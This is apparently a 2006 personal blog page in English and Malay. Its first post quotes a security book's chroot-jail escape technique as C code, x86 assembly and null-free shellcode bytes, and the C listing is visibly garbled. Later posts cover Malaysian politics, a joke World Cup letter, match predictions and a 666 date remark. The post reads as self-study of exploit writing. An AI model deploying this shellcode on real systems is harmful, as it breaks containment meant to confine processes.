Review: Dude i need a GURU now !!

Today, i read and study this stuff - asm its been a long time ago when i learn the assembly language back at UTM. As i got free time i decide to do more reading on an exploit world on how to write the exploit code from the beginning ~~ for sure i can catch up slowly but a GURU with me now will give me much less headache !! This is the book -

Assembly and Shellcode
Writing Security Tools and Exploits
by James C. Foster and Vincent Liu
Syngress Publishing © 2006

A snippet from the book

The following technique will break out of chroot jails on new Linux kernels with ease. This technique works by first creating a directory inside the chroot jail. After this directory is created, we chroot that particular directory. We then iterate 1024 times, attempting to change to the directory ../. For every iteration, we perform a stat() on the current ./ directory and if that directory has the inode of 2, we chroot to directory ./ one more time and then execute the shell. In C, the code looks like the following:

 1  int main(void)
2 {
3 int i;
4 struct stat sb;
5
6 mkdir("A", 0755);
7 chroot("A");
8
9 for(i = 0; i < st_ino ="=">

Converted to Assembly, the code looks like this:

 1  .globl main
2
3 main:
4 xorl %edx, %edx
5
6 pushl %edx
7 pushl $0x2e2e2e2e
8
9 movl %esp, %ebx
10 movw $0x01ed, %cx
11
12 leal 0x27(%edx), %eax
13 int $0x80
14
15 leal 61(%edx), %eax
16 int $0x80
17
18 xorl %esi, %esi
19
20 loop:
21 pushl %edx
22 pushw $0x2e2e
23 movl %esp, %ebx
24
25 leal 12(%edx), %eax
26 int $0x80
27
28 pushl %edx
29 push $0x2e
30 movl %esp, %ebx
31
32 subl $88, %esp
33 movl %esp, %ecx
34
35 leal 106(%edx), %eax
36 int $0x80
37
38 movl 0x4(%ecx), %edi
39 cmpl $0x2, %edi
40 je hacked
41
42 incl %esi
43 cmpl $0x64, %esi
44 jl loop
45
46 hacked:
47 pushl %edx
48 push $0x2e
49 movl %esp, %ebx
50
51 leal 61(%edx), %eax
52 int $0x80

Lastly, converted to bytecode and ready for use in an exploit, the code looks like the following:

 1  const char neo_chroot[] =
2 "\ x31\ xd2" /* xorl %edx, %edx */
3 "\ x52" /* pushl %edx */
4 "\ x68\ x2e\ x2e\ x2e\ x2e" /* pushl $0x2e2e2e2e */
5 "\ x89\ xe3" /* movl %esp, %ebx */
6 "\ x66\ xb9\ xed\ x01" /* movw $0x1ed, %cx */
7 "\ x8d\ x42\ x27" /* leal 0x27(%edx), %eax */
8 "\ xcd\ x80" /* int $0x80 */
9 "\ x8d\ x42\ x3d" /* leal 0x3d(%edx), %eax */
10 "\ xcd\ x80" /* int $0x80 */
11 "\ x31\ xf6" /* xorl %esi, %esi */
12 "\ x52" /* pushl %edx */
13 "\ x66\ x68\ x2e\ x2e" /* pushw $0x2e2e */
14 "\ x89\ xe3" /* movl %esp, %ebx */
15 "\ x8d\ x42\ x0c" /* leal 0xc(%edx), %eax */
16 "\ xcd\ x80" /* int $0x80 */
17 "\ x52" /* pushl %edx */
18 "\ x6a\ x2e" /* push $0x2e */
19 "\ x89\ xe3" /* movl %esp, %ebx */
20 "\ x83\ xec\ x58" /* subl $0x58, %ecx */
21 "\ x89\ xe1" /* movl %esp, %ecx */
22 "\ x8d\ x42\ x6a" /* leal 0x6a(%edx), %eax */
23 "\ xcd\ x80" /* int $0x80 */
24 "\ x8b\ x79\ x04" /* movl 0x4(%ecx), %edi */
25 "\ x83\ xff\ x02" /* cmpl $0x2, %edi */
26 "\ x74\ x06" /* je */
27 "\ x46" /* incl %esi */
28 "\ x83\ xfe\ x64" /* cmpl $0x64, %esi */
29 "\ x7c\ xd7" /* jl */
30 "\ x52" /* pushl %edx */
31 "\ x6a\ x2e" /* push $0x2e */
32 "\ x89\ xe3" /* movl %esp, %ebx */
33 "\ x8d\ x42\ x3d" /* leal 0x3d(%edx), %eax */
34 "\ xcd\ x80"; /* int $0x80 */

This is the chroot breaking code converted from C to Assembly to bytecode.

When written in Assembly, careful attention was paid to assure that no opcodes

that use Null bytes were called and that the size was kept down to a minimum.

P/S: ANYMASTER OR GURU OUT THERE, I NEED TO TALK TO YOU WANNA ASK U SOMETHING

P/S2: I read this book ~wink and grow rich: one man ask a successfull dentist

that man ask the dentist "hello sir, how u had this success with you and i
saw u really had a good life, how did u make it", then the dentist answer
"it's simple, by become better dentist !"..............:wink

More drama in Malaysia Politic

Wat say U !!

Bagi aku keadaan sudah menjadi semakin menarik nasiblah pilihanraya lama lagi, by the time pilihanraya maybe senario ini sudah sepi well Malaysia (bukan melayu) mudah lupa hehe.


Wait, senario politik Malaysia aku tak nak ulas sangat nanti jadi kes sape susah mereka dan keluarga mereka jugak yang susah (keluarga akulah tu )hehe. BTW, looking at what happen nowdays something that might be interesting will be happened soon.

Beberapa watak penting dalam senario politik sekarang -:
Watak Utama - Pak Lah , Dr M, DSAI (anwar)
Watak Pembantu - Khairy, D. Shahrir Samad, Samy Vellu

Well fikirkanlah the sintesis of the story cuba kaitkan anda akan dapat jalan cerita yang menarik.

p/s: Review of Malaysian Politics Culture 2000-2008 (maybe) -someone had to wrote it down into the paper very interesting


World Cup Period - for male only

Contoh surat rasmi terbaik pernah aku baca hahahhaa.. sape la yang rajin betul buat surat ni haha



Untuk isteri / awek / kekasih tersayang*, dimana saja berada...

Ayang /Anja / Honey / Darling / Dinda / Intan payung / gunung berapi etc *

1. Seperti yang sedia maklum , abang setiap bulan terpaksa
menghadapi perangai ayang yang berubah mengikut pasang surut bulan setiap
bulan tanpa gagal. Abang selalu menjaga hati ayang tanpa gagal ketika
kedatangan period ayang tanpa soal. Abang jaga ayang bagaikan menatang
minyak yang penuh. Amat besarnya pengorbanan yang abang lakukan selama ini
untuk menjaga kerukunan perhubungan kita yang telah bertapak sejak lama?
Kini relakah ayang melakukan pengorbanan yang agak kecil terhadap abang?

2. Dr. Joseph Blatter dari Klinik FIFA telah mengesahkan yang
abang akan mengalami period abang yang hanya berlaku 4 tahun sekali ini
dari 9hb Jun 2006 hingga 9 Julai 2006. Kesan period ini mungkin akan
berlanjutan sehingga seminggu selepas tarikh tersebut. Abang akan
menghadapi masalah untuk tidur malam dan mungkin berjaga hingga ke awal
pagi. Untuk mengurangkan tekanan dan mood abang dalam tempoh tersebut,
preskripsi dan cadangan di bawah ini telah disarankan :-

3. Dalam tempoh tersebut ayang dikehendaki sentiasa membaca
berita sukan pada akhbar harian yang menfokus tentang Piala Dunia 2006 di
Jerman. Jika ayang gagal melakukan perkara ini, ayang mungkin rasa terabai
jika tidak dapat berkomunikasi dengan baik dengan abang pada masa
tersebut. Oleh itu ayang janganlah komplen jika rasa diri diabaikan dalam
masa period ini.

4. Dalam tempoh period abang ini adalah dimaklumkan bahawa
ayang akan diberi kebebasan untuk menonton rancangan tv kegemaran ayang
dari bermula dari 6 pagi hingga ke 9 malam. Manakala dari 9 malam ke 6
pagi, abang yang akan memegang remote control dan hak memilih chanel yang
digemari. Ayang dilarang sama sekali mengerling ke arah remote control
pada masa tersebut.

5. Jika ayang terpaksa melintasi di hadapan tv di waktu
tersebut, ayang hendaklah tunggu sehingga masa rehat atau commercial break
ataupun merangkak perlahan-lahan agar tidak menganggu konsentrasi abang.
Jika ayang bercadang untuk di hadapan tv pada waktu tersebut,
pastikan ayang memakai pakaian semula selepas itu kerana abang takut ayang
akan demam kerana kesejukan. Abang takut abang tidak mempunyai masa untuk
membawa ayang ke klinik dan juga melayan ayang selepas itu.

6. Semasa perlawanan langsung disiarkan, abang seakan buta,
pekak dan juga bisu kecuali bila abang memerlukan pertolongan ayang untuk
membuat air atau mengambil makanan ringan. Kasih sayang abang akan
bertambah kepada ayang jika ayang sentiasa memastikan makanan ringan
sentiasa tersedia untuk abang semasa perlawanan berlangsung.

7. Ayang adalah dialu-alukan untuk duduk dan menikmati
perlawanan bersama abang tetapi ayang hanya boleh bercakap semasa half
time atau commercial break. Ayang dilarang sama sekali menggoda abang pada
masa ini terutama jika pasukan yang abang sokong sedang ketinggalan atau
berada diambang kekalahan.

8. Replay untuk setiap gol yang dijaringkan adalah amat
penting. Berapa kali replay disiarkan abang tetap mau melihatnya. Ayang
tak perlu merungut mengata bahwa gol tu dah tengok kenapa nak tengok lagi?

9. Ayang perlu memberitau saudara mara atau rakan karib bahwa
jemputan ke jamuan atau kenduri yang diadakan selepas 9 malam ke atas yang
memerlukan kehadiran abang tidak dapat dipenuhi kerana abang tak nak
pergi.

10. Jika kawan abang menjemput kita ke rumah mereka untuk
menyaksikan perlawanan langsung bersama-sama, maka ayang perlu bersiap
sedia dengan kadar segera?

11. Selepas period abang ini abih..ayang dilarang merungut :
siib baik world cup 4 tahun sekali jer? kerana abang telah immune dengan
rungutan tersebut dan juga selepas period ini akan ada pula English
League, Italian League, UEFA League, Piala Malaysia dan lain-lain.

12. Atas kerjasama dan timbang rasa ayang ini, jika pasukan
yang abang sokong menang piala dunia atau player yang abang sokong menang
kasut atau bola emas..pandai-pandai la ayang bodek abang untuk dapatkan
hadiah?. Jika sebaliknya? hendaklah ayang turut berduka?.

13. Akhirkata. Majulah sukan untuk negara!.

Abang yang sentiasa menyayangimu walaupun period ayang datang
setiap bulan.

Suami / bf / kekasih yang tersayang *

* potong mana yang tidak berkenaan.

Quote #June12-World Cup

MYprediction

This is my prediction for the last 16 teams who are going to qualify for the second round

A (Germany & Ecuador)
B (England & Sweden)
C (Argentina & Ivory Cost or Netherland)
D (Portugal & Mexico)
E (Italy & USA)
F (Brazil & Australia)
G (France & South Korea)
H (Spain & Ukraine)

P/S:Brazil is going to lift up the trophy for the 6th times, any arguement? The teams full of talents ...

Quote #June-8th >> 666

TWO DAYS AGO
06-JUNE-2006 == 06/06/06 == 666

Im a muslim so i dont believe all this things, but u may refer to this site about this 666 things. It said 666 as mark of the beast..

p/s: IMHO, its all crap